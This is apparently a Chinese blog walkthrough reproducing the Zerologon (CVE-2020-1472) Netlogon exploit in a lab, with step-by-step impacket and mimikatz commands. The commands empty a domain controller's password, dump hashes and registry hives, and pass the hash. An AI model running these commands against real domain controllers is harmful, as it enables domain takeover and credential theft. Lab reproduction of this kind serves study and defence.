cve-2020-1472,netlogon特权提升漏洞复现
cve-2020-1472,netlogon特权提升漏洞,
漏洞原理:攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序。
影响版本号:
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
工具 zerologon_teste
pip3 install -r requirements
安装requirements的依赖环境
安装最新的impacket方法:
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
virtualenv --python=python3 impacket
source impacket/bin/activate
pip3 install .
python3 -m pip install .
step1:探测目标机是否存在cve-2020-1472
python3 zerologon_tester.py 域控主机名 域控IP
python3 zerologon_tester.py win08 192.168.223.133

step2: 将目标机中域控win08$的密码清空
python3 cve-2020-1472-exploit.py 域控主机名 域控IP
python3 cve-2020-1472-exploit.py win08 192.168.223.133

step3:使用impacket下的secretdump.py去获取域控的HASH
secretsdump.py test.com/win08\$@192.168.223.133 -no-pass

使用PTH登录域控;
psexec.py test.com/administrator@192.168.223.133 -hashes :获取的administrator中hash值
wmiexec.py test.com/administrator@192.168.223.133 -hashes :获取的administrator中hash值
wmiexec.py test.com/administrator@192.168.223.133 -hashes :afffeba176210fad4628f0524bfe1942

执行系统命令
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive
注:上述产生的文件是存在目标机中,需要导出到攻击机中;
get sam.hive
get system.hive
get security.hive

使用mimikatz或者secretsdumo.py读取文件
secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL
step4:恢复域控的密码
python3 reinstall_original_pw.py win08 192.168.223.133 79e0831681fc703c76295202fac36b0570a0d536a302ecc37341df6018b2918941743a443f9c19f26edc57c7b0dfa4f26c83419552bd45e5f110622582f27f649dd4a63be6e93d106f68b2d03043b4e24f076177084534594750ac8fc054bf3118f4bd73ac506cafb051d60d6fcff4852474ceebba12726551d81031e84e06d21380b96f1b0ad6d9736854af6fe20719aa70342ac77f75099521854ad02cac1901b87300172f03b1e185de535ebc22a568fd38c9ab53bd4fa3d621126af124e5eb1c7d74470add983f16420ca005156442bde6e08a4312fe510712911f408efde41dbd9ea8e2c0281872362250a07d2c

恢复密码效果测试,如果可以登录则证明没有成功写入密码:
python3 secretdump.py test.com/win08\$@192.168.223.133 -no-pass

使用mimikatz.exe去攻击域控
检测目标机是否存在cve2020-1472
lsadump::zerologon /target:域控IP /account:域控主机名$
lsadump::zerologon /target:192.168.223.133 /account:win08$

清空域控密码
lsadump::zerologon /target:域控IP /account:域控主机名$ /exploit
lsadump::zerologon /target:192.168.223.133 /account:win08$ /exploit

获取目标机的HASH
lsadump::dcsync /domain:de1ay.com /dc:dc.de1ay.com /user:krbtgt /authuser:dc$ /authdomain:de1ay.com /authpassword:"" /authntlm
注意:本地测试需要将DNS指向域控
lsadump::dcsync /domain:test.com /win08:win08.test.com /user:administrator /authuser:win08$ /authdomain:test.com /authpassword:"" /authntlm

恢复密码
lsadump::postzerologon /target:dc.de1ay.com /account:dc$
lsadump::postzerologon /target:192.168.223.133 /account:win08$

注:mimikatz在读取域内HASH的时候需要配置DNS 指向域控 /dc: win08.test.com 这里填写域控的完整的名字 ; 输入参数都正确的情况还获取不了, 重启AD服务 在恢复密码的时候注意先去运行privilege::debug
cve-2020-1472,netlogon特权提升漏洞复现的更多相关文章
- PJzhang:CVE-2020-1472微软NetLogon权限提升漏洞~复现
猫宁~~~ 虚拟机上进行 安装windows 2008 R2 查看服务器ip 本地连接属性,取消ipv6,ip设置为192.168.43.158,子网掩码255.255.255.0,网关192.168 ...
- CVE-2019-0686|Microsoft Exchange特权提升漏洞补丁已发布
Microsoft Exchange Server中存在一个特权提升漏洞.成功利用此漏洞的攻击者可以获得与Exchange服务器的任何其他用户相同的权限.这可能允许攻击者执行诸如访问其他用户的邮箱之类 ...
- ADV190007 - “PrivExchange” 特权提升漏洞的指南
Microsoft Exchange Server中存在一个特权提升漏洞.成功利用此漏洞的攻击者可能会尝试模仿Exchange服务器的任何其他用户.要利用此漏洞,攻击者需要执行中间人攻击才能将身份验证 ...
- MS12-042 用户态调度机制特权提升漏洞
漏洞编号:MS12-042 披露日期: 2012/6/12 受影响的操作系统:Windows 2000;XP;Server 2003;windows 7;Server 2008; 测试系统:windo ...
- 【漏洞复现篇】CVE-2020-1472-微软NetLogon权限提升-手把手教学-简单域环境搭建与Exp执行
一.漏洞简介 NetLogon 远程协议是一种在 Windows 域控上使用的 RPC 接口,被用于各种与用户和机器认证相关的任务.最常用于让用户使用 NTLM 协议登录服务器,也用于 NTP 响应认
- CVE-2017-0213漏洞复现
CVE-2017-0213漏洞形成的原因 类型混淆的漏洞通常可以通过内存损坏的方式来进行利用.然而漏洞发现者在利用时,并未采用内存损坏的方式来进行漏洞利用.按照漏洞发现者的说法,内存损坏的利用方式需要 ...
- CVE¬-2020-¬0796 漏洞复现(本地提权)
CVE-2020-0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...
- CVE-2021-4034 Linux Polkit本地权限提升漏洞
0x00 前言 公司放假两天,突然一天下午,群里面实验室的大哥发了个通告,就是这个臭名昭著刚爆出来的漏洞.通杀目前市场上大多数Linux操作系统.随后我看到各种微信公众号纷纷发表文章,POC已经出现了 ...
- Linux kernel(CVE-2018-17182)提权漏洞复现
0x01 漏洞前言 Google Project Zero的网络安全研究人员发布了详细信息,并针对自内核版本3.16到4.18.8以来Linux内核中存在的高严重性漏洞的概念验证(PoC)漏洞利用.由 ...
随机推荐
- [HDU2553]N皇后问题(DFS)
题目链接 http://acm.hdu.edu.cn/showproblem.php?pid=2553 题意 n<=10,输出N皇后问题的方法数. 题解 可以使用各种方法.这里使用DFS. 使用 ...
- ARL(资产侦察灯塔系统)-源码搭建
freebuf能力中心开源了一套资产扫描系统(https://github.com/TophantTechnology/ARL),提供docker版,但并无源码搭建的文档(无完整文档).于是在星光哥及 ...
- Docker镜像构建的两种方式(六)
镜像构建介绍 在什么情况下我们需要自己构建镜像那? (1)当我们找不到现有的镜像,比如自己开发的应用程序 (2)需要在镜像中加入特定的功能 docker构建镜像有两种方式:docker commit命 ...
- [Node]创建静态资源服务器
项目初始化 .gitignore cnpm i eslint -D eslint --init得到.eslintrc.js .eslintrc.js module.exports = { 'env': ...
- 【Nginx】冰河又一本超硬核Nginx PDF教程免费开源!!
写在前面 在 [冰河技术] 微信公众号中的[Nginx]专题,更新了不少文章,有些读者反馈说,在公众号中刷 历史文章不太方便,有时会忘记自己看到哪一篇了,当打开一篇文章时,似乎之前已经看过了, 但就是 ...
- SpringBoot 配置的加载
SpringBoot 配置的加载 SpringBoot配置及环境变量的加载提供许多便利的方式,接下来一起来学习一下吧! 本章内容的源码按实战过程采用小步提交,可以按提交的节点一步一步来学习,仓库地址: ...
- 昨天还在for循环里写加号拼接字符串的那个同事,今天已经不在了
引言 都说 StringBuilder 在处理字符串拼接上效率要强于 String,但有时候我们的理解可能会存在一定的偏差.最近我在测试数据导入效率的时候就发现我以前对 StringBuilder 的 ...
- use-default-filters的用法
<context:component-scan base-package="com.atguigu.atcrowdfunding.*" > <context:ex ...
- 一篇带你快速入门ansible和使用
#基本概述 ansible是一款开源自动化工具,基于python paramiko模块开发,分布式,无需客户端 官网网址:https://www.ansible.com 官方文档:https://do ...
- 利用Z.Expressions.Eval表达式求值
Z.Expression.Eval是一个开源的(OpenSource),可扩展的(Extensible),超轻量级(Super lightweight)的公式化语言解析执行工具包. 使用方法:1.从n ...